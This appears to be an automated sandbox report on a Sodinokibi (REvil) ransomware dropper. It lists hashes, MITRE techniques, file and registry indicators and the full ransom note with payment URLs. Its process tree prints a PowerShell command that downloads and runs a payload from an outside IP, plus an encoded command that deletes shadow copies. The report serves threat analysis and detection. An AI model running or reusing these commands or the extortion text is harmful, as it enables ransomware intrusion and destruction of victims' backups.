sodinokibi | 91ab18506b352621e098b6e9f0466b7d7b89cd8c70219f71e31d1c689889433b

General

Target

1f7cfad9c19adfc78abd3241e8f95952.bat
Size

221B
MD5

a53b25ea0b566a9f0420007a3d2244af
SHA1

eea1e4d5fa16beec4e8cc02e0310345271825017
SHA256

91ab18506b352621e098b6e9f0466b7d7b89cd8c70219f71e31d1c689889433b
SHA512

1afaad2d92aeee642b9a0802f772b18682942d48fd12eb3f1bf8a30afb3d34a6cf29f05b31c6ea4b12f1d9a1c30e3687ff5eb03b6abb58da8cf0d93d1c106b9e

Score

10^/10

ransomware sodinokibi persistence

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://185.103.242.78/pastes/1f7cfad9c19adfc78abd3241e8f95952

Extracted

Path

C:\xf62y6e8oc-readme.txt

Family

sodinokibi

Ransom Note

---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension xf62y6e8oc. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practice - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/84386979D1DC97D2 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/84386979D1DC97D2 Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: v1ILPPhXIJ3YuvMMr6F0dpK7Ikrd6EC+n/4ZvMuyDI8TcvdjaPpQo+9u5xHOMkBe k2Z06vLGEAB/n5jMboggOWwi8OH9T9ZcRb73ogM+WESBkPE6pUdeK+8Lcl1qpTsM SSWwpAB2Yi5adRVcivRqEVWr2KmuYZkYkLqCM470pp6ZP5kYEwgiz4NgbV8Y9LSu pbckIzqBuWmXgmdH5XA2Kw7ABG2K1M6kBL6sBulLrqyX9jrCa4YeVD5NI7IW12Lb jY09aBQvWX40stc6iF5CrrPLND90CokSfD91tUOA6r+U/gWBPqHBKPPqNwiRru3B 68jD6if+qwzL2EHU5Xoh8iYYVxqvGMLU3fcBlsyMSoRNg1Wj68RKB344RbccVCvu zMuqugiuq7gLbiK372SfLmJY3cjzIEIfQw+pnGGpl/pzJAVMsHIC8zB3fKRyGE5H cYpbrCim8Sp5VcZ45uLmXxIVgWMuiLZejse+JOh/Dd8uKfsQcO+VkMCu1n0UOxYf lre9q0sj/ry2Bv6wjpMhTLMNWxZNgb3LQ2t10tT77XCnbqK4677HK8tvkwfgbUyj Q/EImwtIVgUhqLOT27GDBPvrvhhtK2cLo244H4wlzkeT22Xd0xL7GSakD3F6FzT/ 5JS6PiVJ4fTF6BcLfWgAqXEYpzI0JJSr62dQUe1M/eExIm2s+DRluGSoOcvdqhvh qLQLSh74n6j3Il+72ansvDW4SitpSDHops0HWJGJ1Potpj8sPrbI29d7zT9tUo3L h0KFBOOM6SGSIZQS4Nf4YiLoIQVPfbEEACxDVkd8c2B7RHmO0KfPKYvYEw5qsbIz BfRYA8HSRbQgN6F0GJMJh1OoWIizpKEyLvzK3P0ZJnnzsjPv/xtO8f1lPtSMvAoN KWJ1U036QA39Gz2m3hKLWQRvxAeqgtfIpj5j6x8aTGhOTTC0IxLuUiH/TWoATVq2 FI+Y968jq29zpx/qMj4ZfkS9FDKmy3npl7VUb4JgKTnr4/5QeWeXqieYm2f8WcBl fzkPygZnJrZfSLqkx2wumhRy9e9jYA1a1uoNYCPLc8GY8xACcGfhm/EfYFjVtjFE SOzikfTqbCOaLh2wNf/DmmIH+KSV3iKvVLlzMgDRY/SomRRPEsDHT9DJ6/vnlKmG eSJ7wWvlL8l46RCy7bRABYD6GcGBD6oqnxhr8M+hkRF8nrv8IwDzvZK2xwsgiSKc ZRU509M78U7nZTkL9JKvbCEshS2rQLzllHSzYMzQTjwCaG65OagVXX7JZMzQAaOX W2wUKVDqhqOVccR9b8MAq1m+H0pgbDcOJaTh56oz6i9t+bcBzXUCPw== ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damage of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!

URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/84386979D1DC97D2

http://decryptor.cc/84386979D1DC97D2

Signatures

Blacklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

1 1600 powershell.exe

flow	pid	process
1	1600	powershell.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

powershell.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\a9ojeds5hau.bmp"	powershell.exe

Modifies service 2 TTPs 4 IoCs

persistence

Modify Registry

T1112

Modify Existing Service

T1031

Processes:

vssvc.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\ASR Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Shadow Copy Optimization Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Registry Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\COM+ REGDB Writer	vssvc.exe

Suspicious use of WriteProcessMemory 5 IoCs

Processes:

cmd.exepowershell.exe

description	pid	process	target process
PID 240 wrote to memory of 1600	240	cmd.exe	powershell.exe
PID 1600 wrote to memory of 1216	1600	powershell.exe	powershell.exe
PID 1600 wrote to memory of 1216	1600	powershell.exe	powershell.exe
PID 1600 wrote to memory of 1216	1600	powershell.exe	powershell.exe
PID 1600 wrote to memory of 1216	1600	powershell.exe	powershell.exe

Suspicious use of AdjustPrivilegeToken 7 IoCs

Processes:

powershell.exepowershell.exevssvc.exe

description	pid	process
Token: SeDebugPrivilege	1600	powershell.exe
Token: SeDebugPrivilege	1600	powershell.exe
Token: SeDebugPrivilege	1216	powershell.exe
Token: SeBackupPrivilege	1584	vssvc.exe
Token: SeRestorePrivilege	1584	vssvc.exe
Token: SeAuditPrivilege	1584	vssvc.exe
Token: SeTakeOwnershipPrivilege	1600	powershell.exe

Suspicious behavior: EnumeratesProcesses 77 IoCs

Processes:

powershell.exepowershell.exe

pid	process
1600	powershell.exe
1600	powershell.exe
1600	powershell.exe
1216	powershell.exe
1216	powershell.exe
1600	powershell.exe
1600	powershell.exe
1600	powershell.exe
1600	powershell.exe
1600	powershell.exe
1600	powershell.exe
1600	powershell.exe
1600	powershell.exe
1600	powershell.exe
1600	powershell.exe
1600	powershell.exe
1600	powershell.exe
1600	powershell.exe
1600	powershell.exe
1600	powershell.exe
1600	powershell.exe
1600	powershell.exe
1600	powershell.exe
1600	powershell.exe
1600	powershell.exe
1600	powershell.exe
1600	powershell.exe
1600	powershell.exe
1600	powershell.exe
1600	powershell.exe
1600	powershell.exe
1600	powershell.exe
1600	powershell.exe
1600	powershell.exe
1600	powershell.exe
1600	powershell.exe
1600	powershell.exe
1600	powershell.exe
1600	powershell.exe
1600	powershell.exe
1600	powershell.exe
1600	powershell.exe
1600	powershell.exe
1600	powershell.exe
1600	powershell.exe
1600	powershell.exe
1600	powershell.exe
1600	powershell.exe
1600	powershell.exe
1600	powershell.exe
1600	powershell.exe
1600	powershell.exe
1600	powershell.exe
1600	powershell.exe
1600	powershell.exe
1600	powershell.exe
1600	powershell.exe
1600	powershell.exe
1600	powershell.exe
1600	powershell.exe
1600	powershell.exe
1600	powershell.exe
1600	powershell.exe
1600	powershell.exe

Drops file in Program Files directory 36 IoCs

Processes:

powershell.exe

description	ioc	process
File opened for modification	\??\c:\program files\PopCompress.wax	powershell.exe
File opened for modification	\??\c:\program files\TestDeny.wvx	powershell.exe
File opened for modification	\??\c:\program files\UnregisterStop.potx	powershell.exe
File opened for modification	\??\c:\program files\CompleteSave.vssm	powershell.exe
File created	\??\c:\program files\microsoft sql server compact edition\xf62y6e8oc-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\RestartSplit.aiff	powershell.exe
File opened for modification	\??\c:\program files\StartWatch.asf	powershell.exe
File opened for modification	\??\c:\program files\ProtectEdit.jfif	powershell.exe
File opened for modification	\??\c:\program files\ResetStep.htm	powershell.exe
File opened for modification	\??\c:\program files\ConvertToExpand.html	powershell.exe
File opened for modification	\??\c:\program files\FormatReset.css	powershell.exe
File opened for modification	\??\c:\program files\GroupAssert.ram	powershell.exe
File opened for modification	\??\c:\program files\HideSwitch.mov	powershell.exe
File opened for modification	\??\c:\program files\ReceiveUnpublish.M2T	powershell.exe
File opened for modification	\??\c:\program files\CompleteRemove.wma	powershell.exe
File opened for modification	\??\c:\program files\JoinEdit.html	powershell.exe
File opened for modification	\??\c:\program files\OutDisable.3gp	powershell.exe
File opened for modification	\??\c:\program files\PublishMerge.dwg	powershell.exe
File created	\??\c:\program files\xf62y6e8oc-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\ReadWatch.tmp	powershell.exe
File opened for modification	\??\c:\program files\SplitBackup.js	powershell.exe
File opened for modification	\??\c:\program files\SuspendCompare.zip	powershell.exe
File created	\??\c:\program files (x86)\xf62y6e8oc-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\SubmitDismount.jtx	powershell.exe
File opened for modification	\??\c:\program files\UnprotectMeasure.xls	powershell.exe
File opened for modification	\??\c:\program files\UseRename.cr2	powershell.exe
File opened for modification	\??\c:\program files\UnblockComplete.tif	powershell.exe
File opened for modification	\??\c:\program files\UninstallStart.nfo	powershell.exe
File created	\??\c:\program files\microsoft sql server compact edition\v3.5\xf62y6e8oc-readme.txt	powershell.exe
File created	\??\c:\program files\microsoft sql server compact edition\v3.5\desktop\xf62y6e8oc-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\ConnectPush.wmv	powershell.exe
File opened for modification	\??\c:\program files\ImportUpdate.ADT	powershell.exe
File opened for modification	\??\c:\program files\MountDebug.001	powershell.exe
File opened for modification	\??\c:\program files\ReceiveGroup.wmf	powershell.exe
File opened for modification	\??\c:\program files\ExpandResume.wmf	powershell.exe
File opened for modification	\??\c:\program files\UninstallSync.vst	powershell.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

Processes:

powershell.exe

pid process

1600 powershell.exe
Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
ransomware sodinokibi
Enumerates connected drives 3 TTPs

Query Registry
T1012

Peripheral Device Discovery
T1120

System Information Discovery
T1082

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\1f7cfad9c19adfc78abd3241e8f95952.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:240

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/1f7cfad9c19adfc78abd3241e8f95952');Invoke-QYITNGKHOZRLOK;Start-Sleep -s 10000"
2⤵
- Blacklisted process makes network request
- Sets desktop wallpaper using registry
- Suspicious use of WriteProcessMemory
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
- Drops file in Program Files directory
- Suspicious behavior: CmdExeWriteProcessMemorySpam
PID:1600

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
3⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
PID:1216

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Modifies service
- Suspicious use of AdjustPrivilegeToken
PID:1584

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Modify Existing Service

1

T1031

Privilege Escalation

Defense Evasion

Modify Registry

2

T1112

Credential Access

Discovery

Peripheral Device Discovery

Query Registry

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Defacement

1

T1491

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_2f8f6cc7-ae83-4f79-b06e-2b9a49e06c5b

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_3f934678-4276-4d7d-9a2b-7ccacecf398b

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_670419ca-9b90-4e9d-a6c5-f73b7563d382

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_9065e065-05e7-4eaa-bb93-1db6da178e99

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_a3b7b651-7089-41b5-9155-3fb877609508

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_b7a807a3-f6b6-4397-972a-e9e81988f869

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

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Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads